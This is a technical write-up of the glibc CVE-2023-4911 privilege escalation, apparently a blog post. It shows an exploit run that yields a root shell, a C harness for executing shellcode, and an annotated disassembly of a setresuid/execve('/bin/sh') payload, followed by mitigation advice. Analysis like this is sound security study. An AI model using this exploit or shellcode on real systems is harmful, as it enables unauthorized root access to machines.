CVE-2023-4911 - Privilege escalation in glibc
Introduction
As written by Qualys in https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
Recently, we discovered a vulnerability (a buffer overflow) in the dynamic loader's processing of the GLIBC_TUNABLES environment variable (https://www.gnu.org/software/libc/manual/html_node/Tunables.html). This vulnerability was introduced in April 2021 (glibc 2.34) by commit 2ed18c ("Fix SXID_ERASE behavior in setuid programs (BZ #27471)"). We successfully exploited this vulnerability and obtained full root privileges on the default installations of Fedora 37 and 38, Ubuntu 22.04 and 23.04, Debian 12 and 13; other distributions are probably also vulnerable and exploitable (one notable exception is Alpine Linux, which uses musl libc, not the glibc). We will not publish our exploit for now; however, this buffer overflow is easily exploitable (by transforming it into a data-only attack), and other researchers might publish working exploits shortly after this coordinated disclosure.
GLIBC Tunables
Tunables are a feature in the GNU C Library that allows application authors and distribution maintainers to alter the runtime library behavior to match their workload. These are implemented as a set of switches that may be modified in different ways. The current default method to do this is via the GLIBC_TUNABLES environment variable by setting it to a string of colon-separated name=value pairs. For example, the following example enables malloc checking and sets the malloc trim threshold to 128 bytes:
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
Exploit
I've successfully tested the following script on my Kali 2023.1
This script targets by default the su binary, but any set-user-ID program, set-group-ID program or program with proper capabilities can be affected.
┌──(kali?kali)-[~]
└─$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'\x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
# whoami
root
The script provides shellcodes for different architectures (i686, x86_64, and aarch64) along with exit codes for each architecture.
Also the exit code is a shellcode.
Here a script to convert the shellcode hex string into a C array:
import binascii
import sys
import os
shellcode_str="6a665f6a3c580f05"
shellcode=binascii.unhexlify(shellcode_str)
fp=open(sys.argv[1],"wb")
fp.write(shellcode)
fp.close()
os.system("xxd -i " + sys.argv[1])
Then a debuggable ELF file can be created using following C code:
#include <unistd.h>
#include <sys/mman.h>
// gcc -o shellcode.elf main.c -z execstack -fno-stack-protector -g
unsigned char shellcode[] = {0x6a, 0x66, 0x5f, 0x6a, 0x3c, 0x58, 0x0f, 0x05};
int main()
{
mprotect((void*)((intptr_t)shellcode & ~0xFFF),8192,PROT_READ|PROT_EXEC);
int (*run)();
run = (int (*)())shellcode;
(int)(*run)();
return 0;
}
As the exit code is quite simple also an online x86 disassembler may be used (https://defuse.ca/online-x86-assembler.htm#disassembly2)
The exitcode for x86 has the following assembly:
0x555555558018 <shellcode+0> push 0x66
0x55555555801a <shellcode+2> pop rdi
0x55555555801b <shellcode+3> push 0x3c // 60 = sys_exit (int error_code) -> exit(0x66)
0x55555555801d <shellcode+5> pop rax
0x55555555801e <shellcode+6> syscall
It just is an exit function with return code equal to 0x66.
This is used when the ASLR is disabled to find a candidate ld.so offset when your system glibc is not already listed in the TARGETS array. For example my Kali glibc was not part of that array, so I temporarily disabled ASLR to find a valid offset and then I added the libc build id and the offset to that array.
Instead when the ASLR is enabled the shellcode used has the following assembly:
0x555555558040 <shellcode+0> push 0x6b // 107 = sys_geteuid
0x555555558042 <shellcode+2> pop rax
0x555555558043 <shellcode+3> syscall
0x555555558045 <shellcode+5> mov edi, eax // eax = 1000
0x555555558047 <shellcode+7> mov edx, eax
0x555555558049 <shellcode+9> mov esi, eax
0x55555555804b <shellcode+11> push 0x75 // 117 = sys_setresuid (uid_t *ruid, uid_t *euid, uid_t *suid)
0x55555555804d <shellcode+13> pop rax
0x55555555804e <shellcode+14> syscall
0x555555558050 <shellcode+16> push 0x68 // 0x00007fffffffdd70│+0x0000: 0x0000000000000068 ("h"?) ← $rsp
0x555555558052 <shellcode+18> movabs rax, 0x732f2f2f6e69622f // $rax : 0x732f2f2f6e69622f ("/bin///s"?)
0x55555555805c <shellcode+28> push rax // 0x00007fffffffdd68│+0x0000: "/bin///sh" ← $rsp
0x55555555805d <shellcode+29> mov rdi, rsp // $rdi : 0x00007fffffffdd68 → "/bin///sh"
0x555555558060 <shellcode+32> push 0x1016972
0x555555558065 <shellcode+37> xor DWORD PTR [rsp], 0x1010101 // 0x00007fffffffdd60│+0x0000: 0x0000000000006873 ("sh"?) ← $rsp
0x55555555806c <shellcode+44> xor esi, esi
0x55555555806e <shellcode+46> push rsi
0x55555555806f <shellcode+47> push 0x8
0x555555558071 <shellcode+49> pop rsi
0x555555558072 <shellcode+50> add rsi, rsp
0x555555558075 <shellcode+53> push rsi
0x555555558076 <shellcode+54> mov rsi, rsp // 0x00007fffffffdd50 → 0x00007fffffffdd60 → 0x0000000000006873 ("sh"?)
0x555555558079 <shellcode+57> xor edx, edx
0x55555555807b <shellcode+59> push 0x3b // 59 = sys_execve(const char *filename, const char *const argv[], const char *const envp[])
0x55555555807d <shellcode+61> pop rax
0x55555555807e <shellcode+62> syscall
For the sake of clarity, we can recap it as:
euid = sys_geteuid()
sys_setresuid (euid , euid, euid)
sys_execve("/bin/sh", "sh", NULL)
The script creates a patched glibc placed in a trusted directory (hax_path) with previous shellcode just after the libc start main:
fh.write(libc_e.d[0:__libc_start_main])
fh.write(shellcode)
fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
After that it forges a vulnerable GLIBC_TUNABLES environment variable with function build_env.
Then it calls a set-user-ID program (su or another passed by the user) together with the vulnerable environment variable previously created.
Mitigation
Use mitigation proposed by Red Hat https://access.redhat.com/security/cve/CVE-2023-4911 or upgrade to the latest glibc packages.
This article is meant for educational purposes. It's crucial to use scripts responsibly and only in environments where you have proper authorization. Unauthorized use of such tools may lead to legal consequences.